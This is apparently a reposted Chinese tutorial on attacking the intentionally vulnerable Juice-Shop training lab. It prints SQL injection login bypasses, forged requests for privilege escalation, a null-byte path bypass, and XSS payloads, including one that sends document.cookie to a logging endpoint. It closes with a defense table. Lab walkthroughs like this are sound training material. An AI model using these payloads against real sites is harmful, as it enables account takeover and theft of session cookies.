当前位置: 首页 > news >正文

新手必看:用Juice-Shop靶场(v17.1.1)复现18个Web漏洞的完整实战笔记

Juice-Shop靶场实战:从零复现18种Web漏洞的深度指南

如果你刚踏入Web安全领域,面对各种漏洞概念却不知如何动手实践,Juice-Shop靶场会是绝佳的起点。这个故意设计漏洞的电商平台,涵盖了从SQL注入到XSS的完整攻击场景。本文将带你用Chrome开发者工具和基础命令行,在Windows 10上完成18类漏洞的实战复现。

1. 环境搭建与基础配置

在开始漏洞挖掘前,需要准备以下环境:

  • Windows 10操作系统
  • Node.js v22.14.0
  • Chrome浏览器最新版

安装步骤:

# 下载Juice-Shop v17.1.1 git clone https://github.com/juice-shop/juice-shop.git --branch v17.1.1 cd juice-shop # 安装依赖并启动 npm install npm start

启动后访问localhost:3000,你会看到一个看似正常的电商网站。但仔细观察就会发现处处暗藏玄机。建议立即打开Chrome开发者工具(F12),我们后续的很多操作都需要借助它。

注意:如果遇到端口冲突,可通过修改config/default.yml中的server.port配置项调整端口号

2. 认证类漏洞实战

2.1 SQL注入登录管理员账户

在登录页面尝试以下payload:

  1. 基础探测:邮箱输入',密码任意,观察错误信息
  2. 布尔注入:邮箱输入' or 1=1 --,密码任意
  3. 精确注入:邮箱输入admin@juice-sh.op' --,密码留空
-- 原始SQL可能类似: SELECT * FROM Users WHERE email='[输入]' AND password='[输入]' -- 注入后变为: SELECT * FROM Users WHERE email='admin@juice-sh.op' --' AND password=''

2.2 JWT令牌破解

登录后查看网络请求的Authorization头,提取JWT令牌。使用jwt.io解码,发现密码哈希为0192023a7bbd73250516f069df18b500,通过MD5解密得到明文密码admin123

3. 访问控制漏洞挖掘

3.1 垂直越权

通过前端源码搜索关键词admin,发现管理后台路径为/administration。直接访问会提示权限不足,但使用之前获取的管理员凭证即可进入。

3.2 水平越权

普通用户操作时,修改请求中的用户ID参数:

  • 购物车ID替换为他人ID
  • 反馈信息中的UserId篡改为其他用户
// 示例篡改的fetch请求 fetch("/api/BasketItems", { method: "POST", body: JSON.stringify({ ProductId: 1, BasketId: "2", // 修改为他人购物车ID quantity: 1 }) });

4. 输入验证漏洞利用

4.1 前端验证绕过

发现注册页面的提交按钮有disabled属性时:

  1. 右键检查元素
  2. 删除disabled="true"属性
  3. 提交空密码注册

4.2 业务逻辑漏洞

商品数量修改处,拦截请求修改参数:

POST /api/BasketItems HTTP/1.1 Content-Type: application/json {"ProductId":1,"quantity":-100} # 传入负数

5. 敏感信息泄露利用

5.1 目录遍历

尝试访问以下路径:

  • /ftp目录列出服务器文件
  • /assets查看静态资源
  • /robots.txt发现隐藏路径

5.2 00截断绕过

下载受限文件时,使用null字节绕过:

/ftp/package.json.bak%2500.md

原理:%00在URL解码后成为null字符,使服务器提前终止文件名检测

6. XSS攻击实战

6.1 DOM型XSS

在搜索框输入:

<iframe src="javascript:alert(document.cookie)">

6.2 存储型XSS

在商品评价处注入:

<script>fetch('/log?cookie='+document.cookie)</script>

7. 社会工程学技巧

7.1 密码重置破解

  1. 在照片墙找到目标用户(如john@juice-sh.op)
  2. 下载图片查看EXIF元数据
  3. 提取地理位置信息作为安全问题答案

7.2 优惠券暴力破解

在优惠码输入框连续尝试:

NEWYEAR2025 BLACKFRIDAY

8. 漏洞防御方案

针对发现的每个漏洞,都应采取相应防护措施:

漏洞类型防御方案具体实施
SQL注入参数化查询使用PreparedStatement
XSS输入过滤部署DOMPurify库
越权权限校验每个API调用验证session
信息泄露目录限制配置nginx禁止目录遍历

实际开发中,建议采用以下安全措施:

  • 使用ORM框架避免手写SQL
  • 实施CSP内容安全策略
  • 定期进行安全审计
  • 对所有用户输入进行严格验证

在Juice-Shop的实战过程中,最深的体会是:现代Web应用的安全防护需要纵深防御体系。单纯依靠前端验证或简单后端检查都容易被绕过。真正安全的系统应该在每一层都建立防护机制,同时保持对异常行为的监控和日志记录。

http://www.jsqmd.com/news/659666/

相关文章:

  • Pixel Dimension Fissioner 企业级CI/CD流水线设计:从代码到部署
  • NVIDIA Profile Inspector:显卡性能调校的艺术与技术深度解析
  • 为什么92%的Copilot用户半年后弃用?真相藏在代码可视化断层里(附NASA/阿里/微软联合验证的5层可观测性模型)
  • VideoAgentTrek Screen Filter 艺术化过滤效果展示:超越隐私保护的创意应用
  • G-Helper完整攻略:三步解锁华硕笔记本隐藏性能
  • 小白也能懂的音频水印:AudioSeal实验室实战体验报告
  • 3011基于单片机的布防门铃系统设计(独立按键)
  • 税控设备代码说明代码 代码名称000 未配置001 金税盘托管002 金税盘A9托管004 税控盘托管006 本地税控盘007 本机金税盘009 税控服务器010 UKey托管01
  • 超强OCR识别,速度快(支持图片,PDF数学公式以及化学符号)MinerU-0.13.1
  • 告别NMS:手把手复现YOLOv10的One-to-One标签分配策略(附PyTorch代码)
  • 图片修复神器:fft npainting lama快速去除水印实战体验
  • 2026年诚信的松江‌房产中介/闵行‌房产中介/宝山‌房产中介/徐汇‌房产中介市场反馈良好推荐公司 - 行业平台推荐
  • AgeTech News | 速览银发科技一周行业大事件
  • 智能座舱核间通讯方案:fdbus与vsomeip的深度对比与选型指南
  • 3010基于单片机的孵化器温湿度控制系统设计(ADC0832,24C02)
  • B站视频下载终极方案:用BilibiliDown轻松保存你喜欢的每一帧 [特殊字符]
  • 2026年口碑好的浦东租房中介/闵行‌租房中介/静安‌租房中介/上海租房中介市场反馈良好推荐公司 - 品牌宣传支持者
  • 【电力系统】火电机组 - 电池储能联合调峰优化调度研究(Matlab代码实现)
  • FlowState Lab 生成高质量合成时序数据,破解数据稀缺难题
  • STM32H745双核供电模式(SMPS/LDO)选型与外围电路设计避坑指南
  • 2026年口碑好的轿车底盘维修/长沙豪车专修底盘维修/长沙24小时道路救援底盘维修厂家推荐清单 - 品牌宣传支持者
  • Ubuntu18.04/20.04成为AI训练标配?AutoDL镜像选择背后的技术考量
  • 从零到一:A-LOAM点云地图实战与ROSbag自定义采集
  • 3008基于单片机的存储式闹钟系统设计
  • G-Helper终极指南:华硕ROG笔记本性能优化与系统控制全解析
  • 2026年靠谱的上海二手房/徐汇‌二手房/宝山‌二手房/闵行‌二手房服务响应快推荐中介公司 - 行业平台推荐
  • Magma在计算机视觉领域的突破性应用
  • 3009基于单片机的存储式频率计设计
  • 2026年知名的发那克注塑机/法兰克注塑机实力工厂怎么选 - 行业平台推荐
  • EPS系统架构](https://fakeimg.pl/600x400/ff0000/000/?text=EPS_Model_Architecture